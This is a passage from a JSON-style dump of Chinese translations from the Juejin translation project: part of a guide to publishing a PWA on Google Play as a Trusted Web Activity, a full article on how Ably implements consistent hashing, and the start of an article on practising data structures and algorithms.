文件。我们要把已有的 `package` 值换成自己的应用 ID，并把 `label` 值换成对应的 `launcherName` 变量 —— 上个小节中我们在 `manifestPlaceholders` 变量组中定义过。\n\n接着，我们要真正给 TWA 添加 Activity 组件了，即在 `<application>` 标签中添加一个 `<activity>` 标签。\n\n```html\n<manifest\n  xmlns:android=\"http://schemas.android.com/apk/res/android\"\n  package=\"com.netguru.wordguru\"> // 重点\n\n  <application\n    android:allowBackup=\"true\"\n    android:icon=\"@mipmap/ic_launcher\"\n    android:label=\"${launcherName}\" // 重点\n    android:supportsRtl=\"true\"\n    android:theme=\"@style/AppTheme\">\n\n    <activity\n      android:name=\"android.support.customtabs.trusted.LauncherActivity\"\n      android:label=\"${launcherName}\"> // 重点\n\n      <meta-data\n        android:name=\"android.support.customtabs.trusted.DEFAULT_URL\"\n        android:value=\"${defaultUrl}\" /> // 重点\n\n      \n      <intent-filter>\n        <action android:name=\"android.intent.action.MAIN\" />\n        <category android:name=\"android.intent.category.LAUNCHER\" />\n      </intent-filter>\n\n      \n      <intent-filter android:autoVerify=\"true\">\n        <action android:name=\"android.intent.action.VIEW\"/>\n        <category android:name=\"android.intent.category.DEFAULT\" />\n        <category android:name=\"android.intent.category.BROWSABLE\"/>\n        <data\n          android:scheme=\"https\"\n          android:host=\"${hostName}\"/> // 重点\n      </intent-filter>\n    </activity>\n  </application>\n</manifest>\n```\n\n到这里，乡亲们，咱们就完成第一步了。接着走第二步。\n\n### 步骤二：验证网站与应用之间的关系\n\nTWA 需要把 Android 应用和 PWA 联结起来。因此我们要用到[数字资产链接（Digital Asset Links）](https://developers.google.com/digital-asset-links/v1/getting-started)。\n\n该连接的两端都必须设置，TWA 是应用端，而 PWA 是网站端。\n\n我们得再次修改 `manifestPlaceholders`，才能建立连接。这回，我们要添加一个额外的元素，叫做 `assetStatements`，它记录着 PWA 的相关信息。\n\n```javascript\n// build.gradle (模块：app)\n\nandroid {\n  ...\n  defaultConfig {\n    ...\n    manifestPlaceholders = [\n      ...\n      assetStatements: '[{ \"relation\": [\"delegate_permission/common.handle_all_urls\"], ' +\n        '\"target\": {\"namespace\": \"web\", \"site\": \"https://wordguru.netguru.com\"}}]'\n      ...\n    ]\n    ...\n  }\n  ...\n}\n```\n\n此时我们要新增一个 `meta-data` 标签到 `application` 中。此标签告知 Android 应用，我们想要与 `manifestPlaceholders` 中指定的应用建立连接。\n\n```javascript\n<manifest\n  xmlns:android=\"http://schemas.android.com/apk/res/android\"\n  package=\"${packageId}\">\n\n  <application>\n    ...\n      <meta-data\n        android:name=\"asset_statements\"\n        android:value=\"${assetStatements}\" />\n    ...\n  </application>\n</manifest>\n```\n\n这就行了！我们已经建立了应用到网站的连接关系。现在进入从网站到应用的联结过程。\n\n要想建立反方向的连接关系，我们得创建一个 `.json` 文件，该文件的路径为应用的 `/.well-known/assetlinks.json`。该文件可用 Android Studio 内置的生成器生成。你看，我没骗你吧，Android Studio 能简化开发过程！\n\n生成此文件需要设置 3 个值：\n\n* **托管网站域名（Hosting site domain）**：这是 PWA 的 URL（如 `https://wordguru.netguru.com/`）。\n* **应用包名称（App package name）**：这是 TWA 的包名称（如 `com.netguru.wordguru`）。\n* **应用包密钥（App package fingerprint）（SHA256）**：这是一个唯一的加密哈希值，基于 Google Play 应用商店的密钥库生成。\n\n我们已经有了前两个值。而最后一个值，要借助 Android Studio 生成。\n\n先要生成带签名的 APK。在 Android Studio 中找到：构建（Build） → 生成带签名的包或 APK（Generate Signed Bundle or APK） → APK：\n\n![](https://css-tricks.com/wp-content/uploads/2019/04/s_B0873689EA50413EA11DE0E251C79D95AC091600D224AE9E30EBEB80DF5C9068_1550496798628_Screenshot2019-02-18at14.33.09.png)\n\n接下来，如果你已经有了密钥库，就使用已有的；如果没有，那就点击 “新建（Create new）…” 创建一个。\n\n接着就把表单填完。务必记住这些凭证，它们是你的应用的签名，能够确认你对应用的拥有权。\n\n![](https://css-tricks.com/wp-content/uploads/2019/04/play-03.jpg)\n\n上述操作会创建一个密钥库文件，该文件被用来生成应用包密钥（SHA256）。**此文件及其重要**，因为它能证明你拥有此应用。如果此文件丢失，你将再也无法在应用商店更新对应的应用。\n\n接着我们来选包（bundle）的类型。这里要选 “release”，因为它可以为我们生成一个生产环境的应用。我们还需要检查签名版本。\n\n![](https://css-tricks.com/wp-content/uploads/2019/04/s_B0873689EA50413EA11DE0E251C79D95AC091600D224AE9E30EBEB80DF5C9068_1550496985643_Screenshot2019-02-18at14.36.03.png)\n\n这步操作将生成 APK 文件，稍后会把它发布在 Google Play 应用商店里。创建密钥库后，就要用它生成所需的应用包密钥（SHA256 格式）。\n\n再回到 Android Studio，找到工具（Tools） → 应用链接助手（App Links Assistant）。来到第 3 步，“发起网站连接（Declare Website Association）”，填写所需信息：`Site domain` 和 `Application ID`。之后，选择上一步生成的密钥库文件。\n\n![](https://css-tricks.com/wp-content/uploads/2019/04/s_B0873689EA50413EA11DE0E251C79D95AC091600D224AE9E30EBEB80DF5C9068_1550760222016_Screenshot2019-02-21at15.43.26.png)\n\n表单填写完毕后，点击 “生成数字资产链接文件（Generate Digital Asset Links file）”，就会生成 `assetlinks.json` 文件。如果你打开该文件，你会看到这样的内容：\n\n```javascript\n[{\n  \"relation\": [\"delegate_permission/common.handle_all_urls\"],\n  \"target\": {\n    \"namespace\": \"android_app\",\n    \"package_name\": \"com.netguru.wordguru\",\n    \"sha256_cert_fingerprints\": [\"8A:F4:....:29:28\"]\n  }\n}]\n```\n\n这正是我们需要在应用的 `/.well-known/assetlinks.json` 路径下使用的文件。我就不讲解怎么在该路径下使用该文件了，因为这因项目而异，超出本文讨论范畴。\n\n我们可以点击 “连接并验证（Link and Verify）” 按钮来测试连接关系。如果一切顺利，你就能看到 “成功（Success）！” 这样的确认信息。\n\n![](https://css-tricks.com/wp-content/uploads/2019/04/s_B0873689EA50413EA11DE0E251C79D95AC091600D224AE9E30EBEB80DF5C9068_1550497970710_9.png)\n\n666！我们成功地在 Android 应用和 PWA 之间建立了双向连接关系。完成了这一步，前途就一片光明了。\n\n### 步骤三：上传必需物料（assets）\n\nGoogle Play 应用商店需要一些物料来确保应用能够详尽展示。具体来说，我们需要：\n\n* **应用图标（App Icons）**：我们需要各种尺寸的图标，包括 48 x 48、72 x 72、96 x 96、144 x 144 和 192 x 192 等等。或者我们可以使用 [适应性 icon](https://developer.android.com/guide/practices/ui_guidelines/icon_design_adaptive)。\n* **高清图标（High-res Icon）**：这是一个尺寸为 512 x 512 的 PNG 图片，在应用商店里到处都会用到它。\n* **功能图（Feature Graphic）**：这是一个尺寸为 1024 x 500 的 JPG 图片或者 24 位的 PNG（无 alpha 通道）图片，应用商店用来展示应用的具体功能。\n* **截屏（Screenshots）**：Google Play 应用商店会用这些截屏图片来展示应用的不同界面，以便用户在下载前查看。\n\n![](https://css-tricks.com/wp-content/uploads/2019/04/play-05.jpg)\n\n做完这些工作，我们就可以进入 [Google Play 应用商店的开发者控制台](https://play.google.com/apps/publish)发布应用啦！\n\n### 步骤四：光荣发布！\n\n让我们临门一脚，上传应用到应用商店吧。\n\n我们需要在 [Google Play 控制台](https://play.google.com/apps/publish/) 中，把之前生成的 APK 文件（在 `AndroidStudioProjects` 目录下）上传。上传过程恕不赘述，因为引导程序很清晰明了，会一步一步地指导我们完成发布过程。\n\n应用的审查和核准可能需要几个小时，核准后就会陈列在应用商店中了。\n\n如果你找不到 APK 文件了，你可以再新建一个：构建（Build） → 生成带签名的包或 APK（Generate signed bundle / APK） → 构建 APK（Build APK）、传入已经生成的密钥库文件、填写生成密钥库时用的别名和密码即可。生成 APK 文件后，你会看到一个提示窗口，点击其中的 “文件位置（Locate）” 链接，就能直达文件目录。\n\n### 恭喜恭喜，你的应用在 Google Play 应用商店发布啦！\n\n成功！我们成功地把 PWA 发布到 Google Play 应用商店了。这个过程没有我们想得那么难，但还是付出了一些努力的，相信我，当你看见你自己做的应用跻身于大千世界中，你会得到极大的满足感。\n\n有必要指出，这项功能仍是非常超前的，我暂时把它看作是**实验性**功能。我**不推荐**你现在就用这项功能发布产品，因为它仅支持于 Chrome 72 及以上版本 —— 低于 Chrome 72 的版本中，也能安装 TWA，但应用会立即崩溃，这可不是什么最佳用户体验。\n\n而且，官方发布的 `custom-tabs-client` 目前还不支持 TWA。如果你好奇为何我们不用官方库版本，反而用 GitHub 的原生链接，喏，这就是原因。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-to-implement-consistent-hashing-efficiently.md",
    "content": "> * 原文地址：[How we implemented consistent hashing efficiently](https://blog.ably.io/how-to-implement-consistent-hashing-efficiently-fe038d59fff2)\n> * 原文作者：[Srushtika Neelakantam](https://blog.ably.io/@n.srushtika?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-implement-consistent-hashing-efficiently.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-implement-consistent-hashing-efficiently.md)\n> * 译者：[yqian1991](https://github.com/yqian1991)\n> * 校对者：[Starrier](https://github.com/Starrier)\n\n# 我们是如何高效实现一致性哈希的\n\n## Ably 的实时平台分布在超过 14 个物理数据中心和 100 多个节点上。为了保证负载和数据都能够均匀并且一致的分布到所有的节点上，我们采用了一致性哈希算法。\n\n在这篇文章中，我们将会理解一致性哈希到底是怎么回事，为什么它是可伸缩的分布式系统架构中的一个重要工具。然后更进一步，我们会介绍可以用来高效率规模化实现一致性哈希算法的数据结构。最后，我们也会带大家看一看用这个算法实现的一个可工作实例。\n\n### 再谈哈希\n\n还记得大学里学的那个古老而原始的哈希方法吗？通过使用哈希函数，我们确保了计算机程序所需要的资源可以通过一种高效的方式存储在内存中，也确保了内存数据结构能被均匀加载。我们也确保了这种资源存储策略使信息检索变得更高效，从而让程序运行得更快。\n\n经典的哈希方法用一个哈希函数来生成一个伪随机数，然后这个伪随机数被内存空间大小整除，从而将一个随机的数值标识转换成可用内存空间里的一个位置。就如同下面这个函数所示：\n\n`location = hash(key) mod size`\n\n![](https://cdn-images-1.medium.com/max/800/1*ojknKxQ7uxGaJEam2nQYWQ.png)\n\n### 既然如此，我们为什么不能用同样的方法来处理网络请求呢？\n\n在各种不同的程序、计算机或者用户从多个服务器请求资源的场景里，我们需要一种机制来将请求均匀地分布到可用的服务器上，从而保证负载均衡，并且保持稳定一致的性能。我们可以将这些服务器节点看做是一个或多个请求可以被映射到的位置。\n\n现在让我们先退一步。在传统的哈希方法中，我们总是假设：\n\n*   内存位置的数量是已知的，并且\n*   这个数量从不改变\n\n例如，在 Ably，我们一整天里通常需要扩大或者缩减集群的大小，而且我们也要处理一些意外的故障。但是，如果我们考虑前面提到的这些场景的话，我们就不能保证服务器数量是不变的。如果其中一个服务器发生意外故障了怎么办？如果继续使用最简单的哈希方法，结果就是我们需要对每个哈希键重新计算哈希值，因为新的映射完全决定于服务器节点或者内存地址的数量，如下图所示：\n\n![](https://cdn-images-1.medium.com/max/800/1*ojknKxQ7uxGaJEam2nQYWQ.png)\n\n节点变化之前\n\n![](https://cdn-images-1.medium.com/max/800/1*8wnQ4y-9waQPC6sHdmZgdg.png)\n\n节点变化之后\n\n在分布式系统中使用简单再哈希存在的问题 — 每个哈希键的存放位置都会变化 — 就是因为每个节点都存放了一个状态；哪怕只是集群数目的一个非常小的变化，都可能导致需要重新排列集群上的所有数据，从而产生巨大的工作量。随着集群的增长，重新哈希的方法是没法持续使用的，因为重新哈希所需要的工作量会随着集群的大小而线性地增长。这就是一致性哈希的概念被引入的场景。\n\n### 一致性哈希 — 它到底是什么？\n\n一致性哈希可以用下面的方式描述：\n\n*   它用虚拟环形的结构来表示资源请求者（为了叙述方便，后文将称之为“请求”）和服务器节点，这个环通常被称作一个 __hashring__。\n*   存储位置的数量不再是确定的，但是我们认为这个环上有无穷多个点并且服务器节点可以被放置到环上的任意位置。当然，我们仍然可以使用哈希函数来选择这个随机数，但是之前的第二个步骤，也就是除以存储位置数量的那一步被省略了，因为存储位置的数量不再是一个有限的数值。\n*   请求，例如用户，计算机或者无服务（serverless）程序，这些就等同于传统哈希方法中的键，也使用同样的哈希函数被放置到同样的环上。\n\n![](https://cdn-images-1.medium.com/max/800/1*002BDjvoadVRbPyo0lkuiQ.png)\n\n那么它到底是如何决定请求被哪个服务器所服务呢？如果我们假设这个环是有序的，而且在环上进行顺时针遍历就对应着存储地址的增长顺序，每个请求可以被顺时针遍历过程中所遇到的第一个节点所服务；也就是说，第一个在环上的地址比请求的地址大的服务器会服务这个请求。如果请求的地址比节点中的最大地址还大，那它会反过来被拥有最小地址的那个服务器服务，因为在这个环上的遍历是以循环的方式进行的。方法用下图进行了阐明：\n\n![](https://cdn-images-1.medium.com/max/800/1*yhBejrSaatHa4b0gr96tvQ.png)\n\n理论上，每个服务器‘拥有’哈希环（hashring）上的一段区间范围，任何映射到这个范围里的请求都将被同一个服务器服务。现在好了，如果其中一个服务器出现故障了怎么办，就以节点 3 为例吧，这个时候下一个服务器节点在环上的地址范围就会扩大，并且映射到这个范围的任何请求会被分派给新的服务器。仅此而已。只有对应到故障节点的区间范围内的哈希需要被重新分配，而哈希环上其余的部分和请求 - 服务器的分配仍然不会受到影响。这跟传统的哈希技术正好是相反的，在传统的哈希中，哈希表大小的变化会影响 *全部* 的映射。因为有了 __一致性哈希__，只有一部分（这跟环的分布因子有关）请求会受已知的哈希环变化的影响。（节点增加或者删除会导致环的变化，从而引起一些请求 - 服务器之间的映射发生改变。）\n\n![](https://cdn-images-1.medium.com/max/800/1*59Mn6sT0Wu7qQJmX1FOhtw.png)\n\n### 一种高效的实现方法\n\n现在我们对什么是哈希环已经熟悉了...\n\n我们需要实现以下内容来让它工作：\n\n1.  一个从哈希空间到集群上所有服务器节点之间的映射，让我们能找到可以服务指定请求的节点。\n2.  一个集群上每个节点所服务的请求的集合。在后面，这个集合可以让我们找到哪些哈希因为节点的增加或者删除而受到了影响。\n\n#### 映射\n\n要完成上述的第一个部分，我们需要以下内容：\n\n*   一个哈希函数，用来计算已知请求的标识（ID）在环上对应的位置。\n*   一种方法，用来寻找转换为哈希值的请求标识所对应的节点。\n\n为了找到与特定请求相对应的节点，我们可以用一种简单的数据结构来阐释，它由以下内容组成：\n\n*   一个与环上的节点一一对应的哈希数组。\n*   一张图（哈希表），用来寻找与已知请求相对应的服务器节点。\n\n这实际上就是一个有序图的原始表示。\n\n为了能在以上数据结构中找到可以服务于已知哈希值的节点，我们需要：\n\n*   执行修改过的二分搜索，在数组中查找到第一个等于或者大于（≥）你要查询的哈希值所对应的节点 — 哈希映射。\n*   查找在图中发现的节点 — 哈希映射所对应的那个节点。\n\n#### 节点的增加或者删除\n\n在这篇文章的开头我们已经看到了，当一个节点被添加，哈希环上的一部分区间范围，以及它所包括的各种请求，都必须被分配到这个新节点。反过来，当一个节点被删除，过去被分配到这个节点的请求都将需要被其他节点处理。\n\n#### 如何寻找到被哈希环的改变所影响的那些请求？\n\n一种解决方法就是遍历分配到一个节点的所有请求。对每个请求，我们判断它是否处在环发生变化的区间范围内，如果有需要的话，把它转移到其他地方。\n\n然而，这么做所需要的工作量会随着节点上请求数量的增加而增加。让情况变得更糟糕的是，随着节点数量的增加，环上发生变化的数量也可能会增加。最坏的情况是，由于环的变化通常与局部故障有关，与环变化相关联的瞬时负载也可能增加其他受影响节点发生故障的可能性，有可能导致整个系统发生级联故障。\n\n考虑到这个因素，我们希望请求的重定位做到尽可能高效。最理想的情况是，我们可以将所有请求保存在一种数据结构里，这样我们能找到环上任何地方发生哈希变化时受到影响的请求。\n\n#### 高效查找受影响的哈希值\n\n在集群上增加或者删除一个节点将改变环上一部分请求的分配，我们称之为 __受影响范围__（__affected range__）。如果我们知道受影响范围的边界，我们就可以把请求转移到正确的位置。\n\n为了寻找受影响范围的边界，我们从增加或者删除掉的一个节点的哈希值 H 开始，从 H 开始绕着环向后移动（图中的逆时针方向），直到找到另外一个节点。让我们将这个节点的哈希值定义为 S（作为开始）。从这个节点开始逆时针方向上的请求会被指定给它（S），因此它们不会受到影响。\n\n__注意：这只是实际将发生的情况的一个简化描述；在实践中，数据结构和算法都更加复杂，因为我们使用的复制因子（replication factors）数目大于 1，并且当任意给定的请求都只有一部分节点可用的情况下，我们还会使用专门的复制策略。__\n\n那些哈希值在被找到的节点和增加（或者删除）的节点范围之间的请求就是需要被移动的。\n\n#### 高效查找受影响范围内的请求\n\n一种解决方法就是简单的遍历对应于一个节点的所有请求，并且更新那些哈希值映射到此范围内的请求。\n\n在 JavaScript 中类似这样：\n\n```\nfor (const request of requests) {\n  if (contains(S, H, request.hash)) {\n    /* 这个请求受环变化的影响 */\n    request.relocate();\n  }\n}\nfunction contains(lowerBound, upperBound, hash) {\n   const wrapsOver = upperBound < lowerBound;\n   const aboveLower = hash >= lowerBound;\n   const belowUpper = upperBound >= hash;\n   if (wrapsOver) {\n     return aboveLower || belowUpper;\n   } else {\n     return aboveLower && belowUpper;\n   }\n}\n```\n\n由于哈希环是环状的，仅仅查找 S <= r < H 之间的请求是不够的，因为 S 可能比 H 大（表明这个区间范围包含了哈希环的最顶端的开始部分）。函数 `contains()` 可以处理这种情况。\n\n只要请求数量相对较少，或者节点的增加或者删除的情况也相对较少出现，遍历一个给定节点的所有请求还是可行的。\n\n然而，随着节点上的请求数量的增加，所需的工作量也随之增加，更糟糕的是，随着节点的增加，环变化也可能发生得更频繁，无论是因为在自动节点伸缩（automated scaling）或者是故障转换（failover）的情况下为了重新均衡访问请求而触发的整个系统上的并发负载。\n\n最糟的情况是，与这些变化相关的负载可能增加其它节点发生故障的可能性，有可能导致整个系统范围的级联故障。\n\n为了减轻这种影响，我们也可以将请求存储到类似于之前讨论过的一个单独的环状数据结构中，在这个环里，一个哈希值直接映射到这个哈希对应的请求。\n\n这样我们就能通过以下步骤来定位受影响范围内的所有请求：\n\n*   定位从 S 开始的第一个请求。\n*   顺时针遍历直到你找到了这个范围以外的一个哈希值。\n*   重新定位落在这个范围之内的请求。\n\n当一个哈希更新时所需要遍历的请求数量平均是 R/N，R 是定位到这个节点范围内的请求数量，N 是环上哈希值的数量，这里我们假设请求是均匀分布的。\n\n* * *\n\n让我们通过一个可工作的例子将以上解释付诸实践：\n\n假设我们有一个包含节点 A 和 B 的集群。\n\n让我们随机的产生每个节点的 ‘哈希分配’：（假设是32位的哈希），因此我们得到了\n\n`A:0x5e6058e5`\n\n`B:0xa2d65c0`\n\n在此我们将节点放到一个虚拟的环上，数值 `0x0`、`0x1` 和 `0x2`... 是被连续放置到环上的直到 `0xffffffff`，就这样在环上绕一个圈后 `0xffffffff` 的后面正好跟着的就是 `0x0`。\n\n由于节点 A 的哈希是 `0x5e6058e5`，它负责的就是从 `0xa2d65c0+1` 到 `0xffffffff`，以及从 `0x0` 到 `0x5e6058e5` 范围里的任何请求，如下图所示：\n\n![](https://cdn-images-1.medium.com/max/800/1*inKL8q-CTZ6Asl_uSpDYew.png)\n\n另一方面，B 负责的是从 `0x5e6058e5+1` 到 `0xa2d65c0` 的范围。如此，整个哈希空间都被划分了。\n\n从节点到它们的哈希之间的映射在整个集群上是共享的，这样保证了每次环计算的结果总是一致的。因此，任何节点在需要服务请求的时候都可以判断请求放在哪里。\n\n比如我们需要寻找 （或者创建）一个新的请求，这个请求的标识符是 ‘bobs.blog@example.com’。\n\n1.  我们计算这个标识的哈希 H ，比如得到的是 `0x89e04a0a`\n2.  我们在环上寻找拥有比 H 大的哈希值的第一个节点。这里我们找到了 B。\n\n因此 B 是负责这个请求的节点。如果我们再次需要这个请求，我们将重复以上步骤并且又会得到同样的节点，它会包含我们需要的状态。\n\n这个例子是过于简单了。在实际情况中，只给每个节点一个哈希可能导致负载非常不均匀的分布。你可能已经注意到了，在这个例子中，B 负责环的 `(0xa2d656c0-0x5e6058e5)/232 = 26.7%`，同时 A 负责剩下的部分。理想的情况是，每个节点可以负责环上同等大小的一部分。\n\n让分布更均衡合理的一种方法是为每个节点产生多个随机哈希，像下面这样：\n\n![](https://cdn-images-1.medium.com/max/800/1*7qNhuMpoIWhatDWSOJaZVA.png)\n\n事实上，我们发现这样做的结果照样令人不满意，因此我们将环分成 64 个同样大小的片段并且确保每个节点都会被放到每个片段中的某个位置；这个的细节就不是那么重要了。反正目的就是确保每个节点能负责环上同等大小的一部分，因此保证负载是均匀分布的。（为每个节点产生多个哈希的另一个优势就是哈希可以在环上逐渐的被增加或者删除，这样就避免了负载的突然间的变化。）\n\n假设我们现在在环上增加一个新节点叫做 C，我们为 C 产生一个随机哈希值。\n\n`A:0x5e6058e5`\n\n`B:0xa2d65c0`\n\n`C:0xe12f751c`\n\n现在，`0xa2d65c0 + 1` 和 `0xe12f751c` （以前是属于A的部分）之间的环空间被分配给了 C。所有其他的请求像以前一样继续被哈希到同样的节点。为了处理节点职责的变化，这个范围内的已经分配给 A 的所有请求需要将它们的所有状态转移给 C。\n\n![](https://cdn-images-1.medium.com/max/800/1*9EH-yVTX8U9dxRdQ7pjK1Q.png)\n\n现在你理解了为什么在分布式系统中均衡负载是需要哈希的。然而我们需要一致性哈希来确保在环发生任何变化的时候最小化集群上所需要的工作量。\n\n另外，节点需要存在于环上的多个地方，这样可以从统计学的角度保证负载被均匀分布。每次环发生变化都遍历整个哈希环的效率是不高的，随着你的分布式系统的伸缩，有一种更高效的方法来决定什么发生了变化是很必要的，它能帮助你尽可能的最小化环变化带来的性能上的影响。我们需要新的索引和数据类型来解决这个问题。\n\n* * *\n\n构建分布式系统是很难的事情。但是我们热爱它并且我们喜欢谈论它。如果你需要依靠一种分布式系统的话，选择 Ably。如果你想跟我们谈一谈的话，联系我们！\n\n在此特别感谢 Ably 的分布式系统工程师 [John Diamond](https://github.com/jdmnd) 对本文的贡献。\n\n* * *\n\n![](https://cdn-images-1.medium.com/max/800/1*L6S-jVuznYcx4W1o4i9i9w.jpeg)\n\nSrushtika 是 [Ably Realtime](http://ably.io)的软件开发顾问\n\n![](https://cdn-images-1.medium.com/max/800/1*g_I_lIRmw4_IODWKLJweqw.png)\n\n感谢 [John Diamond](https://medium.com/@john_91129?source=post_page) 和 [Matthew O'Riordan](https://medium.com/@matt.at.ably?source=post_page)。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-to-improve-your-data-structures-algorithms-and-problem-solving-skills.md",
    "content": "> * 原文地址：[How to improve your data structures, algorithms, and problem-solving skills](https://medium.com/@fabianterh/how-to-improve-your-data-structures-algorithms-and-problem-solving-skills-af50971cba60)\n> * 原文作者：[Fabian Terh](https://medium.com/@fabianterh)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-improve-your-data-structures-algorithms-and-problem-solving-skills.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-improve-your-data-structures-algorithms-and-problem-solving-skills.md)\n> * 译者：[司徒公子](https://github.com/stuchilde)\n> * 校对者：[江五渣](http://jalan.space)、[xurui1995](https://github.com/xurui1995)\n\n\n# 如何提升你的数据结构、算法以及解决问题的能力\n\n![Source: [Arafat Khan]()](https://raw.githubusercontent.com/todaycoder001/public-images/master/img/20190904185737.jpeg)\n\n这篇文章借鉴了我过去在学校一个学期的个人经历和挑战，当我进入学校的时候，我对任何 DSA（数据结构和算法）和解决问题的策略几乎一无所知。作为一名自学成才的程序员，我对一般编程会更加熟悉和舒适，例如面向对象编程，而不是 DSA 问题所需要的解决问题的能力。\n\n这篇文章反映了我整个学期的经历，并包含了为了快速提高数据结构、算法和解决问题的能力而求助的资源。\n\n## 面临问题：你知道原理，但是你被实际应用卡住了\n\n我在学期初期的时候遇到这个问题，当时**我不明白我哪里不懂**，这是一个特别严重的问题。我对这个理论很了解，例如，什么是链表，它是如何工作的，它的各种操作和时间复杂度，它支持的 ADT（抽象数据类型），以及如何实现 ADT 操作。\n\n但是，由于我不明白我哪里不懂，所以我无法确定我对它的理解和在实际应用中解决问题的差距。\n\n#### 不同类型的问题\n\n一个数据结构问题的例子：描述如何在链表中插入一个节点并说明时间复杂度。\n\n这是一个算法问题：在旋转数组中查找元素并说明时间复杂度。\n\n最后是解决问题的疑虑，我认为比之前两个问题的级别更高，这可能需要简要描述一个场景，并且列出问题的要求。在考试中，可能会要求你对解决方案进行描述。在编程比赛中，可能会要求你在不明确提供任何的数据结构和算法的情况下提交可运行的代码。换句话说，它们希望你能使用最适合的数据结构和算法来尽可能有效地解决问题。\n\n## 如何提升你的数据结构、算法和解决问题的能力。\n\n我主要使用三个网站来练习：[HackerRank](https://www.hackerrank.com)、[LeetCode](https://leetcode.com) 和 [Kattis](https://open.kattis.com)。它们非常相似，特别是前两个，但不完全相同。我发现每个网站的侧重点略有不同，每个网站都以自己的方式为用户提供最大化的帮助。\n\n我将解决问题所需的技能大致分为：\n\n1. 数据结构知识\n2. 算法知识\n3. 数据结构和算法知识的应用\n\n前两个被视为”基元“或构建块，第三点就涉及如何将数据结构和算法应用于特定的场景。\n\n#### 数据结构知识\n\n在这方面，我发现 HackerRank 是一个宝贵的资源，它有一个专门用于数据结构的部分，你可以按类型过滤，比如数组、链表、（平衡）树、堆 ......\n\n这些问题与其说是关于如何解决问题，不如说是如何处理数据结构。例如：\n\n1. 数组：[数组旋转](https://www.hackerrank.com/challenges/array-left-rotation/problem)、[数组操作](https://www.hackerrank.com/challenges/crush/problem)\n2. 链表：[反转链表](https://www.hackerrank.com/challenges/reverse-a-linked-list/problem)、[循环检测](https://www.hackerrank.com/challenges/detect-whether-a-linked-list-contains-a-cycle/problem)\n3. 树：[节点交换](https://www.hackerrank.com/challenges/swap-nodes-algo/problem)、[二叉搜索树的验证](https://www.hackerrank.com/challenges/is-binary-search-tree/problem)\n\n你明白了，有些问题可能永远都不会直接适用于解决问题。但它们非常适合概念性理解，这在任何情况下都是非常重要的。\n\nHackerRank 没有可自由访问的”模型解决方案“，尽管讨论部分时常充满了提示、线索、甚至是可用的代码片段。到目前为止，我发现这些是足够的，虽然你可能需要在集成开发环境中一行一行地执行代码才能真正地理解某些内容。\n\n#### 算法知识\n\nHackerRank 也有一个[算法部分](https://www.hackerrank.com/domains/algorithms)，尽管我更喜欢用 [LeetCode](https://leetcode.com/problemset/all/)。我发现 LeetCode 上的问题涉及范围更广，并且我真正喜欢的是，许多问题的解决方案中都带有详解甚至是时间复杂度的说明。\n\n从 LeetCode 上[点赞前 100 的问题](https://leetcode.com/problemset/top-100-liked-questions/)开始学习是一个很好地开始。以下是一些我认为很好的问题：\n\n* [账户合并](https://leetcode.com/problems/accounts-merge/)\n* [最长连续递增序列](https://leetcode.com/problems/longest-continuous-increasing-subsequence/)\n* [搜索旋转排序数组](https://leetcode.com/problems/search-in-rotated-sorted-array/)\n\n与数据结构问题不同，这里的侧重点并不是处理或操作数据结构，而是如何**做一些事**。例如：“账户合并”问题主要就是并查集算法的应用。“搜索旋转排序数组”问题提出了二分查找的变形。有时你会学习一种全新的解决问题的技巧。例如：“[滑窗窗口](https://www.geeksforgeeks.org/window-sliding-technique/)”解决方案用于“最长连续递增序列”问题。\n\n#### 数据结构和算法知识的应用\n\n最后，我使用 Kattis 来提升我解决问题的能力。[Kattis 问题归档](https://open.kattis.com/)中有许多来自不同渠道的编程问题，比如来自全世界的一些编程比赛。\n\n由于没有官方的解决方案和讨论区（不像 HackerRank 和 LeetCode 一样），Kattis 令人非常沮丧。此外，测试用例也是私有的。我有一些少数待解决的 Kattis 问题，我无法解决它并不是因为我不知道解决方案，而是因为我无法找出 bug。\n\n这是三个练习和学习网站中我最不喜欢的，我也并没有花太多的时间在上面。\n\n## 其他资源\n\n[Geeksforgeeks](https://www.geeksforgeeks.org) 